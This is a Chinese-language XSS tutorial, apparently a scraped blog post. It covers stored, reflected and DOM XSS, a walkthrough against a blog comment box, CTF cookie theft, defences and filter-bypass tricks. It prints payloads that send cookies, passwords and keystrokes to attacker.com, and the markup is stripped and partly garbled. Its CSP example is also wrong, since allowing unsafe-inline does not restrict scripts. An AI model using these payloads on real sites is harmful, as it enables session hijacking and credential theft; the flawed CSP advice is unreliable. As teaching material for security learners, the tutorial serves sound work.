廊坊企业网站排名优化,帮别人做网站用织梦模板行吗,模拟wordpress,中医网站开发文章目录 一、什么是XSS#xff1f;二、XSS分类与场景三、XSS攻击实战流程四、CTF中的XSS利用五、XSS防御方案六、绕过过滤的常见技巧七、实战练习资源 一、什么是XSS#xff1f;
XSS#xff08;Cross-Site Scripting#xff09; 是一种通过向网页注入恶意脚本#xff08… 文章目录 一、什么是XSS二、XSS分类与场景三、XSS攻击实战流程四、CTF中的XSS利用五、XSS防御方案六、绕过过滤的常见技巧七、实战练习资源 一、什么是XSS
XSSCross-Site Scripting 是一种通过向网页注入恶意脚本JavaScript、HTML等在用户浏览器中执行的攻击方式。攻击者可窃取用户Cookie、会话令牌甚至控制用户浏览器行为。 二、XSS分类与场景 存储型XSSStored XSS 特点恶意脚本永久存储在目标服务器如评论区、用户资料页。影响范围所有访问受影响页面的用户。示例scriptalert(XSS);/script // 提交到评论区所有用户加载时触发弹窗反射型XSSReflected XSS 特点恶意脚本通过URL参数传递服务端返回时直接嵌入页面。触发条件用户需点击构造的恶意链接。示例 http://victim.com/search?qscriptalert(document.cookie)/scriptDOM型XSSDOM-Based XSS 特点漏洞位于客户端JavaScript代码中不经过服务端处理。 常见场景通过location.hash、document.write等动态修改DOM。 示例 // 假设页面JS代码document.write(location.hash.substring(1)); 恶意URLhttp://victim.com#img srcx onerroralert(1)三、XSS攻击实战流程
目标场景某博客平台的评论功能存在存储型XSS漏洞。
步骤1探测注入点 在评论区提交测试Payload scriptalert(1)/script若页面弹窗确认漏洞存在。
步骤2窃取用户Cookie 构造Payload将Cookie发送至攻击者服务器 script fetch(http://attacker.com/steal?cookie document.cookie); /script攻击者服务器attacker.com记录窃取的Cookie用于会话劫持。
步骤3钓鱼攻击 伪造登录表单诱导用户输入密码 div styledisplay:none idphish form actionhttp://attacker.com/log methodPOST input typepassword namepassword input typesubmit valueLogin /form /div scriptdocument.getElementById(phish).style.displayblock;/script步骤4键盘记录 监听用户输入并回传数据 scriptdocument.addEventListener(keypress, (e) { fetch(http://attacker.com/keylog?key e.key); }); /script四、CTF中的XSS利用 窃取管理员Cookie获取Flag 题目场景留言板存在XSS管理员会查看留言。 Payload scriptlocation.href http://attacker.com/?flag document.cookie; /script攻击者服务器接收管理员Cookie中的Flag。 DOM型XSS绕过过滤 题目过滤了script标签但允许img标签 img srcx onerroralert(1)利用事件处理器如onerror、onload执行代码。 利用伪协议 通过javascript:协议触发XSS http://victim.com/profile?namea hrefjavascript:alert(1)Click/a五、XSS防御方案 输入过滤与输出编码 对用户输入的特殊字符, , , , 进行HTML实体编码 // PHP示例
echo htmlspecialchars($user_input, ENT_QUOTES, UTF-8);避免直接使用innerHTML优先使用textContent。 内容安全策略CSP 通过HTTP头限制脚本来源 Content-Security-Policy: default-src self; script-src unsafe-inline unsafe-eval设置HttpOnly标志 Cookie中标记HttpOnly防止JavaScript读取 Set-Cookie: sessionabc123; HttpOnly; Secure框架自动防护 使用现代前端框架如React、Vue默认对动态内容进行转义。 六、绕过过滤的常见技巧 大小写混淆 ScRiPtalert(1)/sCriPt编码绕过 HTML实体编码 img srcx onerror#x61;#x6c;#x65;#x72;#x74;#x28;#x31;#x29;JavaScript Unicode编码 \u0061\u006c\u0065\u0072\u0074(1)利用标签属性 svg/onloadalert(1) iframe srcjavascript:alert(1)七、实战练习资源
PortSwigger XSS Labs 地址https://portswigger.net/web-security/cross-site-scripting XSS挑战游戏 XSS GameGooglehttps://xss-game.appspot.com CTF平台 Hack The Box, CTFlearn中的Web题目。 总结XSS攻击的核心在于控制用户浏览器执行恶意脚本。防御需结合输入过滤、输出编码、CSP等多层措施。在CTF中灵活构造Payload并理解上下文过滤规则是解题关键。